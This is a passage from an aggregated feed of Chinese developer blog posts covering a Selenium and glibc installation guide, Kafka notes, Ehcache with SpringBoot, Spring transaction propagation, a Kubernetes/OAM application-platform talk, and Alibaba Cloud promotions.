      shell输入:python -V 出现对应版本号即安装成功!
    • 安装 pip

      python默认自带 pip 在安装目录的scripts目录下,自行配置至环境变量即可,配置好后shell输入:`pip -V` 出现对应版本号即安装成功!
    • 安装 selenium

      shell输入:`pip install selenium` 提示:Successfully installed selenium-即安装成功!
    python
    >>>from selenium import webdriver
    >>>driver = webdriver.Chrome()
    >>>driver.get('https://www.baidu.com')

    已经可以了,正常写python脚本即可。

    搭建环境时遇到的问题

    1、/lib64/libc.so.6: version `GLIBC_2.14' not found (required by ./chromedriver)

    #查看系统版本
    cat /etc/redhat-release 
    #查看glibc支持的版本
    strings /lib64/libc.so.6 |grep GLIBC_
    
    wget http://ftp.gnu.org/gnu/glibc/glibc-2.14.tar.gz 
    wget http://ftp.gnu.org/gnu/glibc/glibc-ports-2.14.tar.gz 
    tar -xvf  glibc-2.14.tar.gz 
    tar -xvf  glibc-ports-2.14.tar.gz
    mv glibc-ports-2.14 glibc-2.14/ports
    mkdir glibc-2.14/build
    cd glibc-2.14/build 
    ../configure  --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin
    make
    make install 

    安装编译过程中需要注意三点:

    • 要将glibc-ports解压到glibc目录下
    • 不能在glibc当前目录下运行configure
    • 加上优化开关,export CFLAGS="-g -O2 -march=i486",否则会出现错误
    • 在make install过程中可能会出现 nss_test1加载不了的情况, 此时可以将加载libnss_test1.so.2的地方注释掉,用grep "nss_test1" . -nr命令在 /glibc目录下查找一下,加载的地方也不多(这只是一个测试nss的静态库,可以不要)

    2、/lib64/libc.so.6: version `GLIBC_2.16' not found (required by ./chromedriver)

    wget http://ftp.gnu.org/gnu/glibc/glibc-2.16.0.tar.gz 
    wget http://ftp.gnu.org/gnu/glibc/glibc-ports-2.16.0.tar.gz 
    tar -xvf  glibc-2.16.0.tar.gz 
    tar -xvf  glibc-ports-2.16.0.tar.gz
    mv glibc-ports-2.16.0 glibc-2.16.0/ports
    mkdir glibc-2.16.0/build
    cd glibc-2.16.0/build 
    ../configure  --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin
    make
    make install 

    报错

    Unmatched ( in regex; marked by  HERE in m/$( <-- HERE if $(abi-64-ld-soname),$(abi-64-ld-soname),ld/ at scripts/test-installation.pl line

    可以参考解决办法https://sourceware.org/bugzilla/attachment.cgi?id=6616&action=diff

    • glibc-2.16.0/Makefile
    ifeq (,$(install_root))
          CC="$(CC)" $(PERL) scripts/test-installation.pl $(common-objpfx)
    endif

    改成

    ifeq (,$(install_root))
         LD_SO=$(ld.so-version) CC="$(CC)" $(PERL) scripts/test-installation.pl $(common-objpfx)
    endif
    • glibc-2.16.0/scripts/test-installation.pl
    sub usage {
        print "Usage: test-installation [soversions.mk]n";

    上面添加

    if ($ENV{LD_SO}) {
      $LD_SO = $ENV{LD_SO};
    } else {
      $LD_SO= "";
    }
    
    sub usage {
        print "Usage: test-installation [soversions.mk]n";

    } else {
      if (/^ld.so/) {
         ($ld_so_name, $ld_so_version)= /=(.*).so.(.*)$/;

    上面添加

    } elsif ($LD_SO ne "") {
        ($ld_so_name, $ld_so_version) = split ('.so.', $LD_SO);
    } else {
      if (/^ld.so/) {
         ($ld_so_name, $ld_so_version)= /=(.*).so.(.*)$/;

    欢迎关注 “后端老鸟” 公众号,接下来会发一系列的专题文章,包括Java、Python、Linux、SpringBoot、SpringCloud、Dubbo、算法、技术团队的管理等,还有各种脑图和学习资料,NFC技术、搜索技术、爬虫技术、推荐技术、音视频互动直播等,只要有时间我就会整理分享,敬请期待,现成的笔记、脑图和学习资料如果大家有需求也可以公众号留言提前获取。由于本人在所有团队中基本都处于攻坚和探路的角色,搞过的东西多,遇到的坑多,解决的问题也很多,欢迎大家加公众号进群一起交流学习。

    【转载请注明出处】:https://blog.csdn.net/huahao1989/article/details/107890747

    image

    ]]>
    kafka_架构模型 Fri, 02 May 2025 09:39:03 +0800 Kafka架构模型

    p1014.png

    Kafka消费速度快:

    1. 页缓存:找个磁盘当内存;
    2. kafka采用顺序读写,比固态磁盘快

    p1015.png

    1. 如果消费速度太慢,更改topic的分区个数,就会有很多线程来消费。

    flume与kafka的整合

    flume监控文件夹,有新文件就搜集起来到kafka队列中

    1. source:spoolDir Source
    2. channel:memory channel
    3. sink:数据到kafka里面

    副本默认2

    注:仅作笔记。

    ]]>
    SpringBoot2 整合Ehcache组件,轻量级缓存管理 Fri, 02 May 2025 09:39:03 +0800 本文源码:GitHub·点这里 || GitEE·点这里

    一、Ehcache缓存简介

    1、基础简介

    EhCache是一个纯Java的进程内缓存框架,具有快速、上手简单等特点,是Hibernate中默认的缓存提供方。

    2、Hibernate缓存

    Hibernate三级缓存机制简介:

    一级缓存:基于Session级别分配一块缓存空间,缓存访问的对象信息。Session关闭后会自动清除缓存。

    二级缓存:是SessionFactory对象缓存,可以被创建出的多个 Session 对象共享,二级缓存默认是关闭的,如果要使用需要手动开启,并且依赖EhCache组件。

    三级缓存:查询缓存,配置开启该缓存的情况下,重复使用一个sql查询某个范围内的数据,会进行缓存。

    3、EhCache缓存特点

    • 快速,简单,并且提供多种缓存策略;
    • 缓存数据有两级:内存和磁盘,无需担心容量问题;
    • 缓存数据会在虚拟机重启的过程中写入磁盘;
    • 可以通过RMI、可插入API等方式进行分布式缓存;
    • 具有缓存和缓存管理器的侦听接口;
    • 支持多缓存管理器实例,以及一个实例的多个缓存区域;
    • 提供Hibernate的缓存实现;

    4、对比Redis缓存

    Ehcache:直接在Jvm虚拟机中缓存,速度快,效率高,不适合处理大规模缓存数据,在分布式环境下,缓存数据共享操作复杂;

    Redis:作为独立的缓存中间件,在分布式缓存系统中非常好用,缓存数据共享,有效支撑大量数据缓存,支持哨兵模式,或者集群模式的高可用成熟方案;

    二、集成SpringBoot框架

    1、核心依赖

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-cache</artifactId>
    </dependency>
    <dependency>
        <groupId>net.sf.ehcache</groupId>
        <artifactId>ehcache</artifactId>
    </dependency>

    2、加载配置

    基础配置

    spring:
      cache:
        ehcache:
          config: classpath:ehcache.xml

    启动类注解

    @EnableCaching
    @SpringBootApplication
    public class Application {
        public static void main(String[] args) {
            SpringApplication.run(Application.class,args) ;
        }
    }

    3、配置详解

    <ehcache xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../config/ehcache.xsd">
    
        <!-- 操作系统缓存的临时目录,内存满后写入该目录 -->
        <diskStore path="java.io.tmpdir"/>
    
        <defaultCache
                maxElementsInMemory="1000"
                eternal="false"
                timeToIdleSeconds="120"
                timeToLiveSeconds="120"
                maxElementsOnDisk="10000000"
                diskExpiryThreadIntervalSeconds="120"
                memoryStoreEvictionPolicy="LRU">
            <persistence strategy="localTempSwap"/>
        </defaultCache>
    
        <cache name="userEntity"
               maxElementsInMemory="1000"
               eternal="false"
               timeToIdleSeconds="120"
               timeToLiveSeconds="120"
               maxElementsOnDisk="10000000"
               diskExpiryThreadIntervalSeconds="120"
               memoryStoreEvictionPolicy="LRU">
            <persistence strategy="localTempSwap"/>
        </cache>
    </ehcache>

    配置参数说明

    maxElementsOnDisk:磁盘缓存中最多可以存放的元素数量;

    eternal:缓存中对象是否永久有效;

    timeToIdleSeconds:当eternal=false时使用,缓存数据有效期(单位:秒),时间段内没有访问该元素,将被清除;

    timeToLiveSeconds:缓存数据的存活时间;

    maxElementsInMemory:内存中最多可以存放的元素数量,overflowToDisk=true,则会将Cache中多出的元素放入磁盘文件中,若overflowToDisk=false,则根据memoryStoreEvictionPolicy策略替换Cache中原有的元素;

    diskExpiryThreadIntervalSeconds:磁盘缓存的清理线程运行间隔;

    memoryStoreEvictionPolicy:缓存释放策略,LRU会优先清理最少使用的缓存;

    localTempSwap:持久化策略,当堆内存或者非堆内存里面的元素已经满了的时候,将其中的元素临时的存放在磁盘上,重启后就会消失;

    三、注解用法

    @Service
    public class CacheService {
    
        private static final Logger LOGGER = LoggerFactory.getLogger(CacheService.class);
    
        @Resource
        private UserMapper userMapper ;
    
        @Cacheable(value="userEntity")  // 在缓存有效期内,首次查询才访问数据库
        public UserEntity getById (Integer id){
            // 通过日志,标识方法是否执行
            LOGGER.info("getById..."+id);
            return userMapper.selectById(id) ;
        }
    
        @CacheEvict(value="userEntity",key = "#id") //该ID数据更新,清空该ID缓存
        public void updateUser(Integer id) {
            UserEntity user = new UserEntity() ;
            user.setId(id);
            user.setUserName("myCache");
            userMapper.updateById(user);
        }
    }

    @Cacheable:注解标记在一个方法上,也可以标记在一个类上,标记在一个方法上表示该方法支持缓存,该方法被调用后将其返回值缓存起来,下次同样的请求参数执行该方法时可以直接从缓存中获取结果,而不需要再次执行该方法。

    @CacheEvict:注解标记在需要清除缓存元素的方法或类上的,当标记在一个类上时表示其中所有的方法的执行都会触发缓存的清除操作,并且可以按照指定属性清除。

    四、源代码地址

    GitHub·地址
    https://github.com/cicadasmile/middle-ware-parent
    GitEE·地址
    https://gitee.com/cicadasmile/middle-ware-parent
    ]]>
    全新出击!《Java开发手册(嵩山版)》解读手册升级下载 Fri, 02 May 2025 09:39:03 +0800 《Java开发手册(嵩山版)》解读版升级下载

    随着《Java开发手册(嵩山版)》的发布,解读再升级!灵魂13问随新版JAVA开发手册重磅回归,一线大厂怎么用JAVA?千万阅读量技术博主15问为你全面剖析。

    作者介绍
    Hollis,一个对Coding有着独特追求的人,现任阿里巴巴技术专家,个人技术博主,技术文章全网阅读量数千万,《程序员的三门课》联合作者。

    免费下载
    《〈Java开发手册(嵩山版)〉灵魂15问》

    或者复制该链接到浏览器完成下载或分享:https://developer.aliyun.com/topic/download?id=811

    java 灵魂15问.jpg

    精彩导读

    image.png

    一、为什么禁止使用Apache Beanutils进行属性的copy?
    市面上有很多类似的属性拷贝工具类,比较常用的有
    1、Spring BeanUtils 2、Cglib BeanCopier 3、Apache BeanUtils 4、Apache PropertyUtils 5、Dozer
    那么,我们到底应该选择哪种工具类更加合适呢?为什么Java开发手册中提到禁止使用Apache BeanUtils呢?
    image.png
    接下来就聚焦于对比这几个类库的性能问题来分析。>>点击查看详情

    二、为什么要求日期格式化时必须有使用y表示年,而不能用Y?
    在Java中进行日期处理大家一定都不陌生,我们经常会需要在代码中进行日期的转换、日期的格式化等操作。

    而一般我们进行日期格式化的时候都会使用SimpleDateFormat工具,之前我们有一篇文章介绍过SimpleDateFormat的线程安全问题,这一篇文章再来介绍一个和SimpleDateFormat有关,很容易被忽视,而一旦忽视可能导致大故障的问题。>>点击查看详情

    三、《 Java 开发手册-泰山版》提到的三目运算符的空指针问题到底是个怎么回事?
    手册中有一条规约引起了作者的关注,那就是手册中提到在三目运算符使用过程中,需要注意自动拆箱导致的NullPointerException(后文简称:NPE)问题:
    image.png
    具体是怎样的呢?>>点击查看详情

    四、为什么建议初始化HashMap的容量大小?
    我们之前提到过,《Java 开发手册》中建议我们设置 HashMap 的初始化容量。
    image.png
    那么,为什么要这么建议?>>点击查看详情

    五、Java开发手册建议创建HashMap时设置初始化容量, 但是多少合适呢?
    HashMap 有扩容机制,就是当达到扩容条件时会进行扩容。HashMap 的扩容条件就是当 HashMap 中的元素个数(size)超过临界值(threshold)时就会自动扩容。在 HashMap 中,threshold = loadFactor * capacity

    所以,如果我们没有设置初始容量大小,随着元素的不断增加,HashMap 会发生多次扩容,而 HashMap 中的扩容机制决定了每次扩容都需要重建 hash 表,是非常影响性能的。>>点击查看创建HashMap时设置初始化容量多少合适

    六、为什么禁止使用Executors创建线程池?
    为什么说可以通过Executors静态工厂构建线程池,但一般不建议这样使用。
    本节我们就来围绕这个问题来分析一下为什么JDK自身提供的构建线程池的方式并不建议使用?到底应该如何创建一个线程池呢?>>点击查看详情

    七、为什么要求谨慎使用ArrayList中的subList方法?
    集合是Java开发日常开发中经常会使用到的。

    关于集合类,《Java开发手册》中其实还有另外一个规定:
    image.png
    本节就来分析一下为什么会有如此建议?其背后的原理是什么?>>点击查看详情

    八、为什么不建议在for循环中使用“+”进行字符串拼接?
    使用+拼接字符串,其实只是Java提供的一个语法糖,那么他的内部原理到底是如何实现的。>>点击查看详情

    语法糖:语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·兰丁发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能没有影响,但是更方便程序员使用。语法糖让程序更加简洁,有更高的可读性。

    九、为什么禁止在for each循环里进行元素的remove/add操作?
    在Java开发手册中,有这样一条规定:
    image.png
    本节就来深入分析一下该规定背后的思考。>>点击查看详情

    十、为什么禁止工程师直接使用日志系统(Log4j、Log back) 中的API?
    作为Java程序员,我想很多人都知道日志对于一个程序的重要性,尤其是Web应用。很多时候,日志可能是我们了解应用程序如何执行的唯一方式。

    所以,日志在Java Web应用中至关重要,但是,很多人却以为日志输出只是一件简单的事情,所以会经常忽略和日志相关的问题。>>点击查看详情

    十一、为什么禁止把SimpleDateFormat定义成static变量?
    在日常开发中,我们经常会用到时间,我们有很多办法在Java代码中获取时间。但是不同的方法获取到的时间的格式都不尽相同,这时候就需要一种格式化工具,把时间显示成我们需要的格式。

    最常用的方法就是使用SimpleDateFormat类。这是一个看上去功能比较简单的类,但是,一旦使用不当也有可能导致很大的问题。本节就围绕SimpleDateFormat的用法、原理等来深入分析下如何以正确的姿势使用它。>>点击查看详情

    十二、为什么禁止开发人员使用is Success作为变量名?
    在日常开发中,我们会经常要在类中定义布尔类型的变量,比如在给外部系统提供一个RPC接口的时候,我们一般会定义一个字段表示本次请求是否成功的。

    关于这个”本次请求是否成功”的字段的定义,其实是有很多种讲究和坑的,稍有不慎就会掉入坑里,作者在很久之前就遇到过类似的问题,本节就来围绕这个简单分析一下,到底该如何定一个布尔类型的成员变量。>>点击查看详情

    十三、为什么禁止开发人员修改serialVersionUID字段的值?
    关于serialVersionUID 。这个字段到底有什么用?如果不设置会怎么样?为什么《Java开发手册》中有以下规定:
    image.png
    本节带你一探究竟。>>点击查看详情

    十四、为什么建议开发者谨慎使用继承?
    对于很多开发者来说,继承肯定都是不陌生的。但是,继承一定适合所有的场景吗?毫无忌讳的使用继承来做代码扩展真的好吗?
    为什么《Java开发手册》中有一条规定:谨慎使用继承的方式进行扩展,优先使用组合的方式实现。>>点击查看详情

    十五、为什么禁止使用count(列名) 或count(常量) 来替代count(*)?
    除了COUNT(id)和COUNT(*)以外,还可以使用COUNT(常量)(如COUNT(1))来统计行数,那么这三条SQL语句有什么区别呢?到底哪种效率更高呢?为什么《Java开发手册》中强制要求不让使用 COUNT(列名)或 COUNT(常量)来替代 COUNT(*)呢?
    image.png
    本节就这些问题带来解答。>>点击查看详情


    藏经阁系列电子书

    阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。
    点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook

    开发者藏经阁.jpg

    ]]>
    ​Spring事务的传播行为案例分析 Fri, 02 May 2025 09:39:03 +0800

    网上关于Spring事务传播性以及隔离型的文章漫天盖地,还有不负责任的直接复制名词意思,文章虽然很多却是看的云里雾里,我们今天将给出案例分别和大家一起学习。

    1、spring给出经常面试的考点Spring事务的4个特性含义---这个很容易理解

    2、spring事务传播特性的定义以及案例分析 

    一、事务的特性ACID

    这四个英文单词拼写我一直记不住,求记忆方法

    • 原子性(Atomicity):事务是一系列原子操作,要么全部成功,要么全部失败。
    • 一致性(Consistency):一旦完成(不管是成功还是失败),确保它所在的一系列业务状态保持一致,状态都是成功,或者都是失败,不能一部分成功一部分失败。
    • 隔离性(Isolation):不同事务同时进行某项业务,处理相同的数据时候,需要保证事务之间相互独立,互相之间数据不影响。
    • 持久性(Durability):一旦事务完成,无论发生什么系统性错误,事务执行后的数据都被持久化了,不会因为重启或其他操作对数据进行更改。

    二、spring事务传播特性的定义以及案例分析 

    我们先给出定义再分别进行简单的代码分析

    给出百度图片,请大家参考,首先生命力如果想在工程中运用事务spring 的xml必须开启事务,以下这些特性一般都是在xml属性中进行配置。

    <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">

    类似这种的配置一定要有,否则万事具备只欠东风,这个是DB事务有JTA和JPA以及Herbernate等,这里就不展开说明,可自行百度。

    三、案例解析事务传播7大行为

    1、无事务,这个时候id 为16的第一次插入成功,第二次插入的时候失败,库中留存第一次的数据

    qqq
    无事务运行

    2、propagation_required,默认事务的传播行为required,在进行实验2的时候将表中id为16的数据先删除以免影响接下来的测试。@Transactional(propagation=Propagation.REQUIRED) ==  @Transactional这两个的作用是一样的没有事务创建一个事务执行,

    ![
    qq'q](http://college.creditease.cn/resources/upload/image/20200804/1596529605681003338.jpeg)
    事务的传播特行为为required
    结果是因为主键冲突将事务进行了回滚,所以两条数据都没有插入进去。

    3、propagation_supports,如果当前程序存在事务就加入该事务运行,如果不存在事务则在非事务中运行

    qqq

    事务的传播行为性为supports
    因为调用方未用事务那么就在非事务中运行,所以插入了first的第一条数据。

    4、propagation_mandatory,必须在一个事务中运行,否则就会抛出异常mandatory 这个单词有强制性的意思我们默认用required 而不用mandatory,是因为mandatory不能自动创建事务。

    qqq
    事务的传播行为为manatory
    因为调用的外层没有事务,所以两条数据没有插入。大家想想下面这种写法会发生什么现象
    qqq
    事务的传播行为mandatory

    5、propagation_ required _new,不管事务是不是存在,都会另起一个事务,如果事务存在则将当前事务挂起,重新执行新加的事务

    qqq
    事务的传播行为required_new
    结果和require一样,两条数据都没有入库,唯一健冲突导致第一条数据回滚,大家可以思考下我下面这两种情况。

    qqq

    情景1新起的事务抛出异常会不会让外围事务回滚?

    情景2外围事务失败会不会导致新起事务已提交的回滚?

    6、 propagation_ not _support,表示不在事务中运行,如果当前存在事务则将事务挂起

    ![qqq
    ](http://college.creditease.cn/resources/upload/image/20200804/1596529886418082560.jpeg)
    事务的传播行为not_suppoted
    这种情景下,如果你根据我的思路一步走的应该可以想到id 为17的入库,第二条主键冲突虽然然而notSupportSonTransationsl()这个方法没有事务所以不影响第一条入库情况,但是外围事务id为16的要进行回滚了,所以库中只有一条数据id=17的。

    7、 propagation_never,表示当前方法不能运行在事务当中,如果有事务则会抛出异常---->Existing transaction found for transaction marked with propagation 'never'


    事务的传播行为NEVER

    8、 propagation_nested,这种嵌套的事务,外围如果没有事务则自己另起一个事务,可独立与外围事务进行单独的提交或者回滚(这句话不要理解错了),下面这个案例同样的数据一条也没有落入库中,


    事务的传播行为nested

    事务的传播行为级别简单的演示完毕

    作者:宜信技术学院,王巧敏

    ]]>
    灵魂拷问,上 Kubernetes 有什么业务价值? Fri, 02 May 2025 09:39:03 +0800 本文整理自 2020 年 7 月 22 日《基于 Kubernetes 与 OAM 构建统一、标准化的应用管理平台》主题线上网络研讨会。文章共分为上下两篇,本文为上篇,主要和大家介绍上 Kubernetes 有什么业务价值,以及什么是“以应用为中心”的 Kubernetes。下篇将跟大家具体分享如何构建“以应用为中心”的 Kubernetes。

    视频回顾链接:https://www.bilibili.com/video/BV1Dv411v7P4/

    关注阿里巴巴云原生公众号,回复 “0722” 即可下载 PPT

    非常感谢大家来到 CNCF 的直播,我是张磊,阿里云的高级技术专家,Kubernetes 项目资深维护者。同时也是 CNCF 应用交付领域 co-chair。我今天给大家带来的分享主题是《基于 Kubernetes 与 OAM 构建统一、标准化的应用管理平台》。在封面上有个钉钉群组二维码。大家可以通过这个二维码进入线上交流群。

    1.png

    上 Kubernetes 有什么业务价值?

    今天要演讲的主题是跟应用管理或者说是云原生应用交付是相关的。首先我们想要先回答这么一个问题:为什么我们要基于 Kubernetes 去构建一个应用管理平台?

    3.png

    上图是一个本质的问题,我们在落地 K8s 经常遇到的一个问题。尤其是我们的业务方会问到这么一个问题,我们上 Kubernetes 有什么业务价值?这时候作为我们 K8s 工程师往往是很难回答的。原因在哪里呢?实际上这跟 K8s 的定位是相关的。K8s 这个项目呢,如果去做一个分析的话,我们会发现 K8s 不是一个 PaaS 或者应用管理的平台。实际上它是一个标准化的能力接入层。什么是能力接入层呢?大家可以看一下下图。

    4.png

    实际上通过 Kubernetes 对用户暴露出来的是一组声明式 API,这些声明式 API 无论是 Pod 还是 Service 都是对底层基础设施的一个抽象。比如 Pod 是对一组容器的抽象,而 Deployment 是对一组 pod 的抽象。而 Service 作为 Pod 的访问入口,实际上是对集群基础设施:网络、网关、iptables 的一个抽象。Node 是对宿主机的抽象。Kubernetes 还提供了我们叫做 CRD(也就是 Custom Resource)的自定义对象。让你自己能够自定义底层基础设施的一个抽象。

    而这些抽象本身或者是 API 本身,是通过另外一个模式叫做控制器(Controller)去实现的。通过控制器去驱动我们的底层基础设施向我的抽象逼近,或者是满足我抽象定义的一个终态。

    所以本质来讲,Kubernetes 他的专注点是“如何标准化的接入来自于底层,无论是容器、虚机、负载均衡各种各样的一个能力,然后通过声明式 API 的方式去暴露给用户”。这就意味着 Kubernetes 实际用户不是业务研发,也不是业务运维。那是谁呢?是我们的平台开发者。希望平台开发者能够基于 Kubernetes 再去做上层的框架或者是平台。那就导致了今天我们的业务研发和业务运维对 Kubernetes 直接暴露出来的这一层抽象,感觉并不是很友好。

    这里的关键点在于,Kubernetes 对这些基础设施的抽象,跟业务研发和业务运维看待系统的角度是完全不同的。这个抽象程度跟业务研发和业务运维希望的抽象程度也是不一样的。语义完全对不上,使用习惯也是有很大的鸿沟。所以说为了解决这样一个问题,都在思考一些解决方法。怎么能让我 Kubernetes 提供的基础设施的抽象能够满足我业务研发和业务运维的一个诉求呢?怎么能让 Kubernetes 能够成为业务研发和业务运维喜欢的一个平台呢?

    方法一:把所有人都变成 Kubernetes 专家

    5.png

    假如我们所有人都是 Kubernetes 专家,那当然会喜欢 Kubernetes 对我提供的服务,这里给他发个 Kubernetes 的 PhD 博士。这里我强烈推荐阿里云和 CNCF 主办的云原生技术公开课。大家试试学完这门课程后,能不能变成 Kubernetes 专家。

    这个方法门槛比较高,因为每个人对于这个系统本身感兴趣程度不太一样,学习能力也不太一样。

    方法二:构建一个面向用户的应用管理平台

    业界常见的方法,大家会基于 Kubernetes 构建一个面向用户的应用管理平台,或者说是一个 PaaS,有人直接做成一个 Serverless。

    6.png

    那这个具体是怎么做呢?还是在 Kubernetes 之上,会搭建一个东西叫做上层应用管理平台,这个上层应用平台对业务研发和业务运维暴露出来一个上层的 API。比如说业务研发这一侧,他不太会暴露 Pod,Deployment 这样的抽象。只会暴露出来 CI/CD 流水线。或者说一个应用,WordPress,一个外部网站,暴露出这样一个上层的概念,这是第一个部分。

    第二部分,它也会给业务运维暴露出一组运维的 API。比如说:水平扩容,发布策略,分批策略,访问控制,流量配置。这样的话有一个好处,业务研发和业务运维面对的 API 不是 Kubernetes 底层的 API,不是 Node,不是 Service,不是 Deployment,不是我们的 CRD。是这样一组经过抽象经过封装后的 API。这样的业务研发和业务运维用起来会跟他所期望的 Ops 流水线,它所熟悉的使用体检有个天然的结合点。

    所以说只有这么做了之后,我们才能够跟我们的业务老大说,Kubernetes 的业务价值来了。实际上业务价值不是在 Kubernetes 这一层,而是在 Kubernetes 往上的这一层--"你的解决方案"。所以说这样的一个系统构建出来之后呢,实际上是对 Kubernetes 又做了一层封装。变成了很多公司都有的,比如说 Kubernetes 应用平台。这是一个非常常见的做法。相比于我们让研发运维变成 Kubernetes 专家来说会更加实际一点。

    但是我们在阿里也好,在很多社区的实际场景也好,它往往会伴随着这么一个问题。这个问题是:今天 Kubernetes 的生态是非常非常繁荣的,下图是我在 CNCF 截的图,好几百个项目,几千个可以让我们 Kubernetes 即插即用的能力。比如 istio,KEDA,Promethues 等等都是 Kubernetes 的插件。正是基于这么一个扩展性非常高的声明式 API 体系才会有了这么繁荣的 Kubernetes 生态。所以可以认为 Kubernetes 能力是无限的,非常强大。

    7.png

    可是这么一个无限能力,如果对接到一个非常传统的,非常经典的一个应用管理平台。比如说我们的 PaaS 上,如 Cloud Foundry。立刻就会发现一个问题,PaaS 虽然对用户提供的是很友好的 API,但是这个 API 本身是有限的,是难以扩展的。比如说 Cloud Foundry 要给用户使用,就有 Buildpack 这么一个概念,而不是 Kubernetes 所有的能力都能给用户去使用。其实几乎所有的 PaaS 都会存在这么一个问题。它往上暴露的是一个用户的API,是不可扩展的,是个有限集。

    下面一个非常庞大繁荣的 Kubernetes 生态,没办法直接给用户暴露出去。可能每使用一个插件就要重新迭代开发你的 PaaS,重新交付你的 PaaS。这个是很难接受的。

    传统 PaaS 的“能力困境”

    这问题是一个普遍存在的问题,我们叫做传统 PaaS 的“能力困境”。

    8.png

    本质上来说这个困境是什么意思呢?K8s 生态繁荣多样的应用基础设施能力,与业务开发人员日益增长的应用管理诉求,中间存在一个传统的 PaaS,他就会变成一个瓶颈。K8s 无限的能力无法让你的研发与运维立刻用到。所以传统 PaaS 就会成为一个显而易见的瓶颈。

    这样给我带来一个思考:我们能不能抛弃传统 PaaS 的一个做法,基于 K8s 打造高可扩展的应用管理平台。我们想办法能把 K8s 能力无缝的透给用户,同时又能提供传统 PaaS 比较友好的面向研发运维的使用体验呢?

    其实可以从另外一个角度思考这个问题:如何基于 K8s 打造高可扩展的应用管理平台,实际上等同于 如何打造一个“以应用为中心的”的 Kubernetes。或者说能不能基于 Kubernetes 去封装下,让它能够像 PaaS 一样,去面向我的实际用户去使用呢?这个就是我们要聊的关键点。 

    什么是“以应用为中心”的 Kubernetes

    特征一:通过原生的声明式 API 和插件体系,暴露面向最终用户的上层语义和抽象

    9.png

    我们不是说要在 Kubernetes 上盖一个 PaaS,或者说是盖一个大帽子,不干这件事情。因为 K8s 本身可以扩展,可以写一组 CRD,把我们要的 API 给装上去。比如 CI/CD 流水线,就可以像 Tektong 系统直接使用 pipeline。应用也可以通过某些项目直接暴露出来。运维这一侧的发布扩容等,都可以通过安装一个 Operator 去解决问题。当然也需要一些技术将这些运维策略绑定到应用或者流水线中。

    这就是我们第一个点,以应用为中心的 K8s 首先是暴露给用户的语义和 API,而不是非常底层的,比如 Service、Node 或者是 Ingress。可能用户都不知道什么意思,也不知道怎么写的。

    特征二:上层语义和抽象可插拔,可扩展,没有抽象程度锁定和任何能力限制

    10.png

    第二个点很重要,上层语义和抽象必须是可插拔的,必须是可扩展的,是无缝兼容利用 K8s 的可扩展能力的。并且也不应该有对抽象程度的锁定。

    举个例子:比如一个应用本身既可以是 Deployment,这是一个比较低程度的抽象。也可以是 Knative Service,这是一个相对来说高程度的抽象,相对于 deployment 来说比较简单,只有一个 PodTemplate。甚至可以更简单,可以是一个 Service,或者是个 Function。这个时候抽象程度就很高。如果基于 K8s 做一个以应用为中心的框架的话,它应该是能够暴露工作负载的多种抽象程度的。而不是说单独去使用 Knative,只能暴露出 Knative Service。假如我想使用 Knative 部署一个 Statefulset,这当然是不可以的。抽象程度是完全不一致的。所以我希望这个以应用为中心的 K8s 是没有抽象程度的锁定的。

    同时也不应该有能力的限制,什么叫没有能力的限制呢?比如从运维侧举个例子,运维侧有很多很多扩容策略、发布策略等等。如果我想新加一个策略能力,它应该是非常简单的,就像在 K8s 安装一个 Operator 一样非常简单,能 helm insatll 就能搞定,答案是必须的。假如需要添加一个水平扩容,直接 helm install vpa 就能解决。通过这种方式才能做一个以应用为中心的 Kubernetes。

    可以看到它跟我们的传统 PaaS 还是有很大区别的,它的可扩展能力非常非常强。它本质上就是一个 K8s,但是它跟专有的 Service,Knative,OpenFaaS 也不一样。它不会把抽象程度锁定到某一种 Workload 上,你的 Workload 是可以随意去定义。运维侧的能力也可以随意可插拔的去定义。这才是我们叫做一个以应用为中心的 Kubernetes。那么这么一个 Kubernetes 怎么做呢?

    后续我们将会在下篇文章中详细为大家解读如何构建“以应用为中心”的 Kubernetes?以及构建这么一个以用户为中心的 Kubernetes,需要做几个层级的事情。

    《云原生实践公开课》

    去年,CNCF 与 阿里云联合发布了《云原生技术公开课》已经成为了 Kubernetes 开发者的一门“必修课”。今天,阿里云再次集结多位具有丰富云原生实践经验的技术专家,正式推出《云原生实践公开课》。课程内容由浅入深,专注讲解“ 落地实践”。还为学习者打造了真实、可操作的实验场景,方便验证学习成果,也为之后的实践应用打下坚实基础。课程已经正式上线,欢迎大家观看。

    点击链接即可免费观看课程:https://developer.aliyun.com/learning/roadmap/cloudnative2020

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    阿里云开发者 DevUP 沙龙 -青岛站 -阿里巴巴微服务技术的应用与实践邀你参加啦 Fri, 02 May 2025 09:39:03 +0800 微服务开发中,SpringCloud作为Spring生态中的针对微服务的技术框架,越来越受到各个企业技术人员的追捧。但是,SpringCloud中一些组件,在实践使用中,存在一定的局限。SpringCloudAlibaba,横空出世,替换了SpringCloud中的一些组件,使微服务在实践中,能够更便捷的、更优雅的实现落地。

    活动亮点:

    1、面基!在青岛举办的线下技术沙龙。
    2、阵容!各类技术专家在线实践教学。
    3、干货!快速了解微服务相关知识。

    时间:8月22日(周四)13:30-16:10

    地点:山东省青岛市崂山区海尔路170号鑫裕和大厦8楼

    报名地址:https://survey.aliyun.com/apps/zhiliao/7irPO_3gv

    默认文件1597047215922.png

    ]]>
    物模型接入价值与实践 Fri, 02 May 2025 09:39:03 +0800 物模型价值

    物联网元年

    关键词:探索、快速

    2016年阿里云物联网平台(前称:物联网套件)上线,为客户设备上云提供了通道能力,包括MQTT连接、消息流转等核心功能。
    第一批客户大多基于该模式使用物联网平台能力,当时整个行业处于物联网云平台起步期,包括AWS,Azure起步阶段同样只是提供通道能力。
    基于通道能力,客户使用物联网平台接入方式详见文档 https://developer.aliyun.com/article/746536
